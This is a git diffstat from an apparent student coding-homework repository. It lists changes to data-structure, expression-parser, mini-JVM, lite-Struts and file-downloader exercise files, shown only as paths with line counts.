 .../src/test04/loader/EmployeeV1.java         |  28 -
 .../src/test04/lru/LRUPageFrame.java          | 112 ---
 .../src/test04/lru/LRUPageFrameTest.java      |  29 -
 .../1158154002/src/test05/stack/Stack.java    |  43 -
 .../src/test05/stack/StackTest.java           |  52 -
 .../src/test05/stack/StackUtil.java           | 151 ---
 .../1158154002/src/test06/expr/InfixExpr.java |  92 --
 .../src/test06/expr/InfixExprTest.java        |  45 -
 .../src/test07/expr/InfixToPostfix.java       |  56 --
 .../src/test07/expr/InfixToPostfixTest.java   |  12 -
 .../src/test07/expr/PostfixExpr.java          |  48 -
 .../src/test07/expr/PostfixExprTest.java      |  36 -
 .../src/test07/expr/PrefixExpr.java           |  49 -
 .../src/test07/expr/PrefixExprTest.java       |  43 -
 group17/1158154002/src/test07/expr/Token.java |  54 --
 .../src/test07/expr/TokenParser.java          |  55 --
 .../src/test07/expr/TokenParserTest.java      |  37 -
 .../1204187480/code/homework/basic/pom.xml    |  12 +
 .../java/com/coding/basic}/ArrayList.java     | 219 +++--
 .../com/coding/basic}/BinaryTreeNode.java     |  64 +-
 .../main/java}/com/coding/basic/Iterator.java |   0
 .../java/com/coding/basic}/LinkedList.java    |   5 +-
 .../src/main/java/com/coding/basic/List.java  |  20 +-
 .../src/main/java/com/coding/basic/Queue.java |  48 +-
 .../src/main/java/com/coding/basic/Stack.java |  62 +-
 .../test/java/com/coding/api/ArraysTest.java  |  44 +-
 .../test/java/com/coding/api/SystemTest.java  |  48 +-
 .../java/com/coding/basic/ArrayListTest.java  |  69 +-
 .../java/com/coding/basic/LinkedListTest.java |  24 +-
 .../java/com/coderising}/array/ArrayUtil.java |   2 +-
 .../jvm/loader/ClassFileLoader.java           |  45 -
 .../jvm/test/ClassFileloaderTest.java         | 355 -------
 .../litestruts/{ => action}/LoginAction.java  |   2 +-
 .../coderising/src/main/resources/struts.xml  |   2 +-
 .../java/com/coding/basic/BinaryTreeNode.java |  32 -
 .../coding/basic/linklist/LRUPageFrame.java   |  57 --
 .../basic/linklist/LRUPageFrameTest.java      |  34 -
 .../1204187480/code/homework/parent/pom.xml   | 150 +--
 group17/1204187480/code/homework/pom.xml      |   2 +-
 group17/1204187480/note/todo/homework.md      |   8 -
 .../1264835468/src/assignment/BinaryTree.java |  10 +-
 .../assignment/{Queue.java => MyQueue.java}   |   2 +-
 .../1264835468/src/assignment/MyStack.java    |  39 +
 group17/1264835468/src/assignment/Stack.java  |  53 --
 .../assignment0326/jvm/clz/AccessFlag.java    |  25 -
 .../src/assignment0326/jvm/clz/ClassFile.java |  77 --
 .../assignment0326/jvm/clz/ClassIndex.java    |  19 -
 .../jvm/constant/ClassInfo.java               |  24 -
 .../jvm/constant/ConstantInfo.java            |  29 -
 .../jvm/constant/ConstantPool.java            |  29 -
 .../jvm/constant/FieldRefInfo.java            |  54 --
 .../jvm/constant/MethodRefInfo.java           |  55 --
 .../jvm/constant/NameAndTypeInfo.java         |  45 -
 .../jvm/constant/NullConstantInfo.java        |  13 -
 .../jvm/constant/StringInfo.java              |  26 -
 .../assignment0326/jvm/constant/UTF8Info.java |  32 -
 .../jvm/loader/ByteCodeIterator.java          |  42 -
 .../jvm/loader/ClassFileLoader.java           |  80 +-
 .../jvm/loader/ClassFileParser.java           | 133 ---
 .../jvm/test/ClassFileLoaderTest.java         | 129 +--
 .../src/assignment0326/jvm/util/Util.java     |  24 -
 .../src/assignment0326/lru/Clock.java         |  99 ++
 .../src/assignment0405/StackUtil.java         | 107 ---
 .../src/assignment0405/StackUtilTest.java     |  67 --
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 -
 .../com/coderising/download/net_multisoc.htm  |  15 -
 .../coderising/jvm/attr/AttributeInfo.java    |  48 -
 .../src/com/coderising/jvm/attr/CodeAttr.java |  94 --
 .../attr/InvalidAttributeInfoException.java   |   7 -
 .../coderising/jvm/attr/LineNumberTable.java  |  53 --
 .../jvm/attr/LocalVariableItem.java           |  71 --
 .../jvm/attr/LocalVariableTable.java          |  40 -
 .../coderising/jvm/attr/StackMapTable.java    |  30 -
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 -
 .../src/com/coderising/jvm/clz/ClassFile.java |  95 --
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 -
 .../coderising/jvm/constant/ClassInfo.java    |  24 -
 .../coderising/jvm/constant/ConstantInfo.java |  29 -
 .../jvm/constant/ConstantInfoFactory.java     |  93 --
 .../coderising/jvm/constant/ConstantPool.java |  37 -
 .../coderising/jvm/constant/FieldRefInfo.java |  54 --
 .../coderising/jvm/constant/FloatRefInfo.java |  15 -
 .../coderising/jvm/constant/IntegerInfo.java  |  22 -
 .../InvalidConstantInfoTypeException.java     |  11 -
 .../jvm/constant/MethodRefInfo.java           |  55 --
 .../jvm/constant/NameAndTypeInfo.java         |  45 -
 .../jvm/constant/NullConstantInfo.java        |  13 -
 .../coderising/jvm/constant/StringInfo.java   |  26 -
 .../com/coderising/jvm/constant/UTF8Info.java |  32 -
 .../src/com/coderising/jvm/field/Field.java   |  50 -
 .../coderising/jvm/interfaze/Interfaze.java   |   5 -
 .../interfaze/InvalidInterfaceException.java  |   7 -
 .../jvm/loader/ByteCodeIterator.java          |  84 --
 .../jvm/loader/ClassFileLoader.java           |  20 +-
 .../jvm/loader/ClassFileParser.java           | 165 ----
 .../method/InvalidMethodInfoException.java    |   7 -
 .../src/com/coderising/jvm/method/Method.java |  87 --
 .../jvm/test/ByteCodeIteratorTest.java        |  51 -
 .../jvm/test/ClassFileloaderTest.java         | 385 ++------
 .../jvm/test/ClassFileloaderTest2.java        |  52 -
 .../src/com/coderising/jvm/util/Util.java     |  24 -
 .../src/com/coding/basic/stack/Stack.java     |  24 -
 .../src/com/coding/basic/stack/StackUtil.java | 109 ---
 .../coding/basic/stack/expr/InfixExpr.java    | 184 ----
 .../basic/stack/expr/InfixExprTest.java       |  60 --
 group17/785396327/2.26/list/ArrayList.java    |  14 +-
 .../785396327/3.26/jvm_1/ClassFileLoader.java |   9 -
 .../3.26/jvm_1/ClassFileloaderTest.java       |   2 +-
 group17/785396327/4.16/cmd/BiPushCmd.java     |  29 -
 .../785396327/4.16/cmd/ByteCodeCommand.java   | 131 ---
 group17/785396327/4.16/cmd/CommandParser.java | 214 -----
 group17/785396327/4.16/cmd/GetFieldCmd.java   |  27 -
 .../785396327/4.16/cmd/GetStaticFieldCmd.java |  27 -
 .../785396327/4.16/cmd/InvokeSpecialCmd.java  |  27 -
 .../785396327/4.16/cmd/InvokeVirtualCmd.java  |  26 -
 group17/785396327/4.16/cmd/LdcCmd.java        |  37 -
 group17/785396327/4.16/cmd/NewObjectCmd.java  |  27 -
 group17/785396327/4.16/cmd/NoOperandCmd.java  |  30 -
 group17/785396327/4.16/cmd/OneOperandCmd.java |  27 -
 group17/785396327/4.16/cmd/PutFieldCmd.java   |  26 -
 group17/785396327/4.16/cmd/TwoOperandCmd.java |  65 --
 .../4.16/print/ClassFilePrinter.java          |  44 -
 .../4.16/print/ConstantPoolPrinter.java       | 114 ---
 .../4.23/engine/ExecutionResult.java          |  55 --
 .../785396327/4.23/engine/ExecutorEngine.java |  29 -
 .../785396327/4.23/engine/FrameResult.java    |   7 -
 group17/785396327/4.23/engine/Heap.java       |  41 -
 group17/785396327/4.23/engine/JavaObject.java |  73 --
 group17/785396327/4.23/engine/MethodArea.java |  70 --
 group17/785396327/4.23/engine/MiniJVM.java    |  29 -
 group17/785396327/4.23/engine/StackFrame.java |  95 --
 group17/785396327/4.23/queue/CircleQueue.java |  59 --
 .../785396327/4.23/queue/CircleQueueTest.java |  62 --
 group17/785396327/4.23/queue/Josephus.java    |  39 -
 .../785396327/4.23/queue/JosephusTest.java    |  26 -
 .../4.23/queue/QueueWithTwoStacks.java        |  54 --
 .../4.23/queue/QueueWithTwoStacksTest.java    |  37 -
 group17/785396327/4.5/clz/AccessFlag.java     |  28 -
 group17/785396327/4.5/clz/ClassFile.java      | 120 ---
 group17/785396327/4.5/clz/ClassIndex.java     |  25 -
 group17/785396327/4.5/constant/ClassInfo.java |  32 -
 .../785396327/4.5/constant/ConstantInfo.java  |  50 -
 .../785396327/4.5/constant/ConstantPool.java  |  32 -
 .../785396327/4.5/constant/FieldRefInfo.java  |  62 --
 .../785396327/4.5/constant/MethodRefInfo.java |  58 --
 .../4.5/constant/NameAndTypeInfo.java         |  57 --
 .../4.5/constant/NullConstantInfo.java        |  20 -
 .../785396327/4.5/constant/StringInfo.java    |  34 -
 group17/785396327/4.5/constant/UTF8Info.java  |  39 -
 .../4.5/iterator/ByteCodeIterator.java        |  64 --
 .../785396327/4.5/parse/ClassFilePaser.java   | 121 ---
 group17/785396327/4.5/stack/MyStack.java      |  35 -
 group17/785396327/4.5/stack/StackUtil.java    | 115 ---
 .../785396327/4.5/stack/StackUtilTest.java    | 101 --
 .../4.5/test/ClassFileloaderTest.java         | 348 -------
 group17/785396327/4.5/util/Util.java          |  28 -
 group17/785396327/4.9/attr/AttributeInfo.java |  20 -
 group17/785396327/4.9/attr/CodeAttr.java      |  88 --
 .../785396327/4.9/attr/LineNumberTable.java   |  54 --
 .../785396327/4.9/attr/LocalVariableItem.java |  42 -
 .../4.9/attr/LocalVariableTable.java          |  43 -
 group17/785396327/4.9/attr/StackMapTable.java |  31 -
 group17/785396327/4.9/expr/ExprParser.java    |  37 -
 group17/785396327/4.9/expr/InfixExpr.java     |  75 --
 group17/785396327/4.9/expr/InfixExprTest.java |  57 --
 .../785396327/4.9/expr/InfixToPostfix.java    |  43 -
 .../4.9/expr/InfixToPostfixTest.java          |  41 -
 group17/785396327/4.9/expr/OperEnum.java      |  21 -
 group17/785396327/4.9/expr/PostfixExpr.java   |  48 -
 .../785396327/4.9/expr/PostfixExprTest.java   |  38 -
 group17/785396327/4.9/expr/PrefixExpr.java    |  48 -
 .../785396327/4.9/expr/PrefixExprTest.java    |  45 -
 group17/785396327/4.9/expr/Token.java         |  52 -
 group17/785396327/4.9/expr/TokenParser.java   |  58 --
 .../785396327/4.9/expr/TokenParserTest.java   |  47 -
 group17/785396327/4.9/field/Field.java        |  41 -
 group17/785396327/4.9/method/Method.java      |  67 --
 group17/82427129/.gitignore                   |   4 +-
 .../coderising/jvm/attr/AttributeInfo.java    |  40 -
 .../com/coderising/jvm/attr/CodeAttr.java     | 129 ---
 .../coderising/jvm/attr/LineNumberTable.java  |  77 --
 .../jvm/attr/LocalVariableTable.java          |  93 --
 .../coderising/jvm/attr/StackMapTable.java    |  13 -
 .../com/coderising/jvm/clz/AccessFlag.java    |  24 -
 .../com/coderising/jvm/clz/ClassFile.java     | 109 ---
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 -
 .../coderising/jvm/constant/ClassInfo.java    |  39 -
 .../coderising/jvm/constant/ConstantInfo.java |  37 -
 .../coderising/jvm/constant/ConstantPool.java |  38 -
 .../coderising/jvm/constant/DoubleInfo.java   |  14 -
 .../coderising/jvm/constant/FieldRefInfo.java |  66 --
 .../coderising/jvm/constant/FloatInfo.java    |  15 -
 .../coderising/jvm/constant/IntegerInfo.java  |  25 -
 .../com/coderising/jvm/constant/LongInfo.java |  15 -
 .../jvm/constant/MethodRefInfo.java           |  67 --
 .../jvm/constant/NameAndTypeInfo.java         |  58 --
 .../jvm/constant/NullConstantInfo.java        |  14 -
 .../coderising/jvm/constant/StringInfo.java   |  43 -
 .../com/coderising/jvm/constant/UTF8Info.java |  47 -
 .../java/com/coderising/jvm/field/Field.java  | 115 ---
 .../jvm/loader/ByteCodeIterator.java          |  48 -
 .../jvm/loader/ClassFileLoader.java           |  34 +-
 .../jvm/loader/ClassFileParser.java           | 195 ----
 .../com/coderising/jvm/method/Method.java     | 126 ---
 .../java/com/coderising/jvm/util/Util.java    |  24 -
 .../com/coding/basic/{stack => }/Stack.java   |  16 +-
 .../com/coding/basic/stack/StackUtil.java     | 147 ---
 .../coding/basic/stack/expr/InfixExpr.java    | 114 ---
 .../com/coding/basic/stack/expr/Token.java    |  85 --
 .../jvm/loader/ClassFileLoaderTest.java       | 185 +---
 .../com/coding/basic/stack/StackUtilTest.java |  65 --
 .../basic/stack/expr/InfixExprTest.java       |  35 -
 group17/article/20170326-20170402.md          |   2 +-
 group17/article/20170402-20170409.md          |   8 +-
 group17/article/20170409-20170416.md          |  56 --
 group17/article/20170416-20170423.md          |  56 --
 group17/article/template.md                   |   2 +-
 group17/count/homework.md                     |   5 +-
 .../org/xukai/coderising/stack/InfixExpr.java | 173 ++--
 .../xukai/coderising/stack/InfixExpr2.java    | 104 --
 .../coderising/stack/InfixToPostfix2.java     |  87 --
 .../xukai/coderising/stack/PostfixExpr.java   |  57 --
 .../coderising/stack/PostfixExprTest.java     |  47 -
 .../xukai/coderising/stack/PrefixExpr.java    |  60 --
 .../coderising/stack/PrefixExprTest.java      |  45 -
 .../org/xukai/coderising/stack/Token.java     |  50 -
 .../xukai/coderising/stack/TokenParser.java   |  57 --
 .../java/org/xukai/jvm/attr/CodeAttr.java     |  21 +-
 .../java/org/xukai/jvm/clz/ClassFile.java     |  32 +-
 .../java/org/xukai/jvm/cmd/BiPushCmd.java     |  22 -
 .../org/xukai/jvm/cmd/ByteCodeCommand.java    | 129 ---
 .../java/org/xukai/jvm/cmd/CommandParser.java | 156 ---
 .../java/org/xukai/jvm/cmd/GetFieldCmd.java   |  22 -
 .../org/xukai/jvm/cmd/GetStaticFieldCmd.java  |  20 -
 .../org/xukai/jvm/cmd/InvokeSpecialCmd.java   |  22 -
 .../org/xukai/jvm/cmd/InvokeVirtualCmd.java   |  22 -
 .../main/java/org/xukai/jvm/cmd/LdcCmd.java   |  30 -
 .../java/org/xukai/jvm/cmd/NewObjectCmd.java  |  20 -
 .../java/org/xukai/jvm/cmd/NoOperandCmd.java  |  24 -
 .../java/org/xukai/jvm/cmd/OneOperandCmd.java |  28 -
 .../java/org/xukai/jvm/cmd/PutFieldCmd.java   |  20 -
 .../java/org/xukai/jvm/cmd/TwoOperandCmd.java |  67 --
 .../org/xukai/jvm/constant/ClassInfo.java     |   7 +-
 .../org/xukai/jvm/constant/ConstantInfo.java  |  19 -
 .../org/xukai/jvm/constant/ConstantPool.java  |   2 +-
 .../org/xukai/jvm/constant/FieldRefInfo.java  |   7 +-
 .../org/xukai/jvm/constant/MethodRefInfo.java |   7 +-
 .../xukai/jvm/constant/NameAndTypeInfo.java   |   9 +-
 .../xukai/jvm/constant/NullConstantInfo.java  |   7 +-
 .../org/xukai/jvm/constant/StringInfo.java    |   7 +-
 .../java/org/xukai/jvm/constant/UTF8Info.java |   6 -
 .../java/org/xukai/jvm/method/Method.java     |  13 +-
 .../org/xukai/jvm/print/ClassFilePrinter.java |  48 -
 .../xukai/jvm/print/ConstantPoolPrinter.java  |  85 --
 .../xukai/jvm/test/ClassFileloaderTest.java   |  83 +-
 .../src/main/java/me/lzb/basic/InfixExpr.java | 161 ++++
 .../main/java/me/lzb/basic/expr/CalUtil.java  | 108 ---
 .../java/me/lzb/basic/expr/InfixExpr.java     |  71 --
 .../me/lzb/basic/expr/InfixToPostfix.java     |  79 --
 .../src/main/java/me/lzb/basic/expr/Node.java |  28 -
 .../java/me/lzb/basic/expr/PostfixExpr.java   |  46 -
 .../java/me/lzb/basic/expr/PrefixExpr.java    |  46 -
 .../lzb/basic/{expr => }/InfixExprTest.java   |   2 +-
 .../me/lzb/basic/expr/InfixToPostfixTest.java |  42 -
 .../me/lzb/basic/expr/PostfixExprTest.java    |  43 -
 .../me/lzb/basic/expr/PrefixExprTest.java     |  47 -
 .../main/java/me/lzb/jvm/attr/CodeAttr.java   |  13 +-
 .../main/java/me/lzb/jvm/clz/AccessFlag.java  |  12 +-
 .../main/java/me/lzb/jvm/clz/ClassFile.java   |  59 +-
 .../main/java/me/lzb/jvm/cmd/BiPushCmd.java   |  21 -
 .../java/me/lzb/jvm/cmd/ByteCodeCommand.java  | 124 ---
 .../main/java/me/lzb/jvm/cmd/GetFieldCmd.java |  20 -
 .../me/lzb/jvm/cmd/GetStaticFieldCmd.java     |  19 -
 .../java/me/lzb/jvm/cmd/InvokeSpecialCmd.java |  21 -
 .../java/me/lzb/jvm/cmd/InvokeVirtualCmd.java |  19 -
 .../src/main/java/me/lzb/jvm/cmd/LdcCmd.java  |  29 -
 .../java/me/lzb/jvm/cmd/NewObjectCmd.java     |  19 -
 .../java/me/lzb/jvm/cmd/NoOperandCmd.java     |  22 -
 .../java/me/lzb/jvm/cmd/OneOperandCmd.java    |  29 -
 .../main/java/me/lzb/jvm/cmd/PutFieldCmd.java |  20 -
 .../java/me/lzb/jvm/cmd/TwoOperandCmd.java    |  64 --
 .../java/me/lzb/jvm/constant/ClassInfo.java   |   7 -
 .../me/lzb/jvm/constant/ConstantInfo.java     |  16 +-
 .../me/lzb/jvm/constant/FieldRefInfo.java     |   7 -
 .../me/lzb/jvm/constant/MethodRefInfo.java    |   7 -
 .../me/lzb/jvm/constant/NameAndTypeInfo.java  |   7 -
 .../me/lzb/jvm/constant/NullConstantInfo.java |   7 -
 .../java/me/lzb/jvm/constant/StringInfo.java  |   7 -
 .../java/me/lzb/jvm/constant/UTF8Info.java    |   7 -
 .../me/lzb/jvm/loader/ClassFileParser.java    |   8 +-
 .../java/me/lzb/jvm/loader/CommandParser.java | 188 ----
 .../main/java/me/lzb/jvm/method/Method.java   |  26 +-
 .../java/me/lzb/jvm/print/ClassPrinter.java   |  36 -
 .../src/main/java/me/lzb/jvm/print/Print.java |  10 -
 .../java/me/lzb/jvm/print/PrintFormat.java    |  57 --
 .../java/me/lzb/jvm/print/PrintVisitor.java   |  23 -
 .../java/me/lzb/jvm/ClassFileloaderTest.java  |  95 +-
 .../basic/stack/expr/InfixExpr.java           |  19 +-
 .../basic/stack/expr/InfixToPostfix.java      |  67 --
 .../basic/stack/expr/InfixToPostfixTest.java  |  32 -
 .../basic/stack/expr/PostfixExpr.java         |  35 -
 .../basic/stack/expr/PostfixExprTest.java     |  41 -
 .../basic/stack/expr/PrefixExpr.java          |  36 -
 .../basic/stack/expr/PrefixExprTest.java      |  44 -
 .../coding2017/basic/stack/expr/Token.java    |  64 --
 .../basic/stack/expr/TokenParser.java         |  57 --
 .../basic/stack/expr/TokenParserTest.java     |  41 -
 .../coding2017/minijvm/attr/CodeAttr.java     |  32 +-
 .../minijvm/attr/LineNumberTable.java         |  12 +-
 .../minijvm/attr/LocalVariableTable.java      |  15 +-
 .../coding2017/minijvm/clz/ClassFile.java     |  20 +-
 .../coding2017/minijvm/cmd/BiPushCmd.java     |  21 -
 .../minijvm/cmd/ByteCodeCommand.java          | 132 ---
 .../coding2017/minijvm/cmd/CommandParser.java | 143 ---
 .../coding2017/minijvm/cmd/GetFieldCmd.java   |  21 -
 .../minijvm/cmd/GetStaticFieldCmd.java        |  19 -
 .../minijvm/cmd/InvokeSpecialCmd.java         |  21 -
 .../minijvm/cmd/InvokeVirtualCmd.java         |  21 -
 .../coding2017/minijvm/cmd/LdcCmd.java        |  29 -
 .../coding2017/minijvm/cmd/NewObjectCmd.java  |  19 -
 .../coding2017/minijvm/cmd/NoOperandCmd.java  |  23 -
 .../coding2017/minijvm/cmd/OneOperandCmd.java |  29 -
 .../coding2017/minijvm/cmd/PutFieldCmd.java   |  19 -
 .../coding2017/minijvm/cmd/TwoOperandCmd.java |  67 --
 .../minijvm/constant/ClassInfo.java           |   4 -
 .../minijvm/constant/ConstantInfo.java        |  11 -
 .../minijvm/constant/ConstantPool.java        |   2 +-
 .../minijvm/constant/FieldRefInfo.java        |   5 -
 .../minijvm/constant/MethodRefInfo.java       |   5 -
 .../minijvm/constant/NameAndTypeInfo.java     |   5 -
 .../minijvm/constant/NullConstantInfo.java    |   4 -
 .../minijvm/constant/StringInfo.java          |   6 -
 .../coding2017/minijvm/constant/UTF8Info.java |   4 -
 .../coding2017/minijvm/method/Method.java     |  17 -
 .../minijvm/print/ClassFilePrinter.java       |  47 -
 .../minijvm/print/ConstantPoolPrinter.java    |  88 --
 .../minijvm/test/ClassFileloaderTest.java     |  77 --
 .../basic/stack/expr/InfixExpr.java           |  19 -
 .../basic/stack/expr/InfixExprTest.java       |  52 -
 .../basic/stack/expr/InfixToPostfix.java      |  37 -
 .../coding2017/basic/stack/expr/Operator.java |  42 -
 .../basic/stack/expr/PostfixExpr.java         |  36 -
 .../basic/stack/expr/PostfixExprTest.java     |  41 -
 .../basic/stack/expr/PrefixExpr.java          |  25 -
 .../basic/stack/expr/PrefixExprTest.java      |  45 -
 .../coding2017/basic/stack/expr/Token.java    |  50 -
 .../basic/stack/expr/TokenParser.java         |  58 --
 .../basic/stack/expr/TokenParserTest.java     |  39 -
 .../main/java/jvm/loader/ClassFileLoader.java |  57 --
 .../src/main/java/jvm/loader/Directory.java   |  81 --
 .../java/jvm/test/ClassFileloaderTest.java    |  83 --
 .../src/main/java/jvm/test/EmployeeV1.java    |  31 -
 .../donaldy/basic/expr/InfixToPostfix.java    |  59 --
 .../basic/expr/InfixToPostfixTest.java        |  22 -
 .../com/donaldy/basic/expr/PostfixExpr.java   |  67 --
 .../donaldy/basic/expr/PostfixExprTest.java   |  41 -
 .../com/donaldy/basic/expr/PrefixExpr.java    |  69 --
 .../donaldy/basic/expr/PrefixExprTest.java    |  45 -
 .../src/com/donaldy/basic/expr/Token.java     |  50 -
 .../com/donaldy/basic/expr/TokenParser.java   |  57 --
 .../donaldy/basic/expr/TokenParserTest.java   |  41 -
 .../com/donaldy/basic/queue/CircleQueue.java  |  74 --
 .../donaldy/basic/queue/CircleQueueTest.java  |  35 -
 .../src/com/donaldy/basic/queue/Josephus.java |  62 --
 .../com/donaldy/basic/queue/JosephusTest.java |  27 -
 .../src/com/donaldy/basic/queue/Queue.java    |  62 --
 .../basic/queue/QueueWithTwoStacks.java       |  68 --
 .../basic/queue/QueueWithTwoStacksTest.java   |  23 -
 .../src/com/donaldy/jvm/attr/CodeAttr.java    | 102 +-
 .../donaldy/jvm/attr/LocalVariableTable.java  |  23 +-
 .../src/com/donaldy/jvm/clz/ClassFile.java    |  33 +-
 .../src/com/donaldy/jvm/cmd/BiPushCmd.java    |  29 -
 .../com/donaldy/jvm/cmd/ByteCodeCommand.java  | 130 ---
 .../com/donaldy/jvm/cmd/CommandParser.java    | 158 ----
 .../src/com/donaldy/jvm/cmd/GetFieldCmd.java  |  28 -
 .../donaldy/jvm/cmd/GetStaticFieldCmd.java    |  31 -
 .../com/donaldy/jvm/cmd/InvokeSpecialCmd.java |  29 -
 .../com/donaldy/jvm/cmd/InvokeVirtualCmd.java |  27 -
 .../src/com/donaldy/jvm/cmd/LdcCmd.java       |  37 -
 .../src/com/donaldy/jvm/cmd/NewObjectCmd.java |  26 -
 .../src/com/donaldy/jvm/cmd/NoOperandCmd.java |  32 -
 .../com/donaldy/jvm/cmd/OneOperandCmd.java    |  27 -
 .../src/com/donaldy/jvm/cmd/PutFieldCmd.java  |  27 -
 .../com/donaldy/jvm/cmd/TwoOperandCmd.java    |  67 --
 .../com/donaldy/jvm/constant/ClassInfo.java   |   4 -
 .../donaldy/jvm/constant/ConstantInfo.java    |  11 -
 .../donaldy/jvm/constant/ConstantPool.java    |   4 +-
 .../donaldy/jvm/constant/FieldRefInfo.java    |   4 -
 .../donaldy/jvm/constant/MethodRefInfo.java   |   5 -
 .../donaldy/jvm/constant/NameAndTypeInfo.java |   6 -
 .../jvm/constant/NullConstantInfo.java        |   4 -
 .../com/donaldy/jvm/constant/StringInfo.java  |   6 -
 .../com/donaldy/jvm/constant/UTF8Info.java    |   5 -
 .../donaldy/jvm/engine/ExecutionResult.java   |  56 --
 .../donaldy/jvm/engine/ExecutorEngine.java    |  35 -
 .../src/com/donaldy/jvm/engine/Heap.java      |  39 -
 .../com/donaldy/jvm/engine/JavaObject.java    |  71 --
 .../com/donaldy/jvm/engine/MethodArea.java    |  68 --
 .../src/com/donaldy/jvm/engine/MiniJVM.java   |  28 -
 .../com/donaldy/jvm/engine/StackFrame.java    |  95 --
 .../donaldy/jvm/loader/ClassFileLoader.java   |   1 -
 .../src/com/donaldy/jvm/method/Method.java    |  60 +-
 .../donaldy/jvm/print/ClassFilePrinter.java   |  52 -
 .../jvm/print/ConstantPoolPrinter.java        | 133 ---
 .../donaldy/jvm/test/ClassFileloaderTest.java |  88 --
 group24/494800949/EmployeeV1-javap.txt        | 164 ----
 .../coderising/jvm/attr/AttributeInfo.java    |  19 -
 .../src/com/coderising/jvm/attr/CodeAttr.java |  93 --
 .../coderising/jvm/attr/LineNumberTable.java  |  52 -
 .../jvm/attr/LocalVariableItem.java           |  39 -
 .../jvm/attr/LocalVariableTable.java          |  39 -
 .../coderising/jvm/attr/StackMapTable.java    |  30 -
 .../src/com/coderising/jvm/clz/ClassFile.java |  66 +-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  21 -
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 127 ---
 .../com/coderising/jvm/cmd/CommandParser.java | 150 ---
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  21 -
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  20 -
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  22 -
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 -
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  30 -
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 -
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  24 -
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 -
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  20 -
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  63 --
 .../coderising/jvm/constant/ClassInfo.java    |   7 +-
 .../coderising/jvm/constant/ConstantInfo.java |  13 +-
 .../coderising/jvm/constant/FieldRefInfo.java |   9 +-
 .../jvm/constant/MethodRefInfo.java           |   7 +-
 .../jvm/constant/NameAndTypeInfo.java         |   9 +-
 .../jvm/constant/NullConstantInfo.java        |   6 +-
 .../coderising/jvm/constant/StringInfo.java   |   7 +-
 .../com/coderising/jvm/constant/UTF8Info.java |   6 -
 .../src/com/coderising/jvm/field/Field.java   |  38 -
 .../jvm/loader/ByteCodeIterator.java          |  31 +-
 .../jvm/loader/ClassFileParser.java           |  31 +-
 .../src/com/coderising/jvm/method/Method.java |  69 --
 .../jvm/print/ClassFilePrinter.java           |  45 -
 .../jvm/print/ConstantPoolPrinter.java        |  34 -
 .../coderising/jvm/print/SimpleVistor.java    |  56 --
 .../src/main/java/com/coding/weak1/Stack.java |   2 -
 .../java/com/coding/week6/expr/InfixExpr.java | 127 ---
 .../java/com/coding/week6/expr/Token.java     |  52 -
 .../com/coding/week6/exprNew/InfixExpr.java   |  57 --
 .../com/coding/week6/exprNew/Operator.java    |  75 --
 .../java/com/coding/week6/exprNew/Token.java  |  63 --
 .../com/coding/week6/exprNew/TokenParser.java |  60 --
 .../java/com/coding/week7/InfixToPostfix.java |  69 --
 .../java/com/coding/week7/PostfixExpr.java    |  39 -
 .../java/com/coding/week7/PrefixExpr.java     |  43 -
 .../mini_jvm/test/ClassFileloaderTest.java    | 163 +---
 .../coding/week6/expr/InfixExprTestTest.java  |  77 --
 .../week6/exprNew/InfixExprTestTest.java      |  78 --
 .../coding/week6/exprNew/TokenParserTest.java |  18 -
 .../com/coding/week7/InfixToPostfixTest.java  |  34 -
 .../com/coding/week7/PostfixExprTest.java     |  41 -
 .../java/com/coding/week7/PrefixExprTest.java |  45 -
 .../java/basic/dataStructure/ArrayList.java   | 115 ---
 .../java/basic/dataStructure/ArrayUtil.java   | 245 -----
 .../basic/dataStructure/BinaryTreeNode.java   |  58 --
 .../java/basic/dataStructure/LinkedList.java  | 341 -------
 .../main/java/basic/dataStructure/List.java   |  12 -
 .../main/java/basic/dataStructure/Queue.java  |  72 --
 .../main/java/basic/dataStructure/Stack.java  |  41 -
 .../java/basic/liteStruts/LoginAction.java    |  39 -
 .../main/java/basic/liteStruts/ReadXML.java   |  28 -
 .../main/java/basic/liteStruts/Struts.java    |  78 --
 .../src/main/java/basic/liteStruts/View.java  |  23 -
 .../src/main/java/miniJVM/Demo.java           |   7 -
 .../java/thread/download/DownloadThread.java  |  39 -
 .../java/thread/download/FileDownloader.java  | 106 ---
 .../java/thread/download/api/Connection.java  |  23 -
 .../download/api/ConnectionException.java     |   8 -
 .../download/api/ConnectionManager.java       |  10 -
 .../thread/download/api/DownloadListener.java |   5 -
 .../thread/download/impl/ConnectionImpl.java  |  93 --
 .../download/impl/ConnectionManagerImpl.java  |  20 -
 .../java/data_structure/ArrayListTest.java    |  69 --
 .../java/data_structure/ArrayUtilTest.java    |  67 --
 .../data_structure/BinaryNodeTreeTest.java    |  29 -
 .../java/data_structure/LinkedListTest.java   | 151 ---
 .../test/java/data_structure/QueueTest.java   |  50 -
 .../test/java/data_structure/StackTest.java   |  49 -
 .../java/download/FileDownloaderTest.java     |  54 --
 .../src/test/java/liteStruts/StrutsTest.java  |  42 -
 group24/Homework/1-FirstWeek/ArrayList.java   |  35 -
 group24/Homework/1-FirstWeek/Iterator.java    |   7 -
 group24/Homework/1-FirstWeek/LinkedList.java  | 125 ---
 group24/Homework/1-FirstWeek/Queue.java       |  61 --
 group24/Homework/1-FirstWeek/Stack.java       |  24 -
 .../2-SecondWeek/litestruts/LoginAction.java  |  39 -
 .../2-SecondWeek/litestruts/Struts.java       |  34 -
 .../2-SecondWeek/litestruts/StrutsTest.java   |  43 -
 .../2-SecondWeek/litestruts/View.java         |  23 -
 group24/Homework/3-ThirdWeek/LinkedList.java  | 125 ---
 .../3-ThirdWeek/download/DownloadThread.java  |  20 -
 .../3-ThirdWeek/download/FileDownloader.java  |  73 --
 .../download/FileDownloaderTest.java          |  59 --
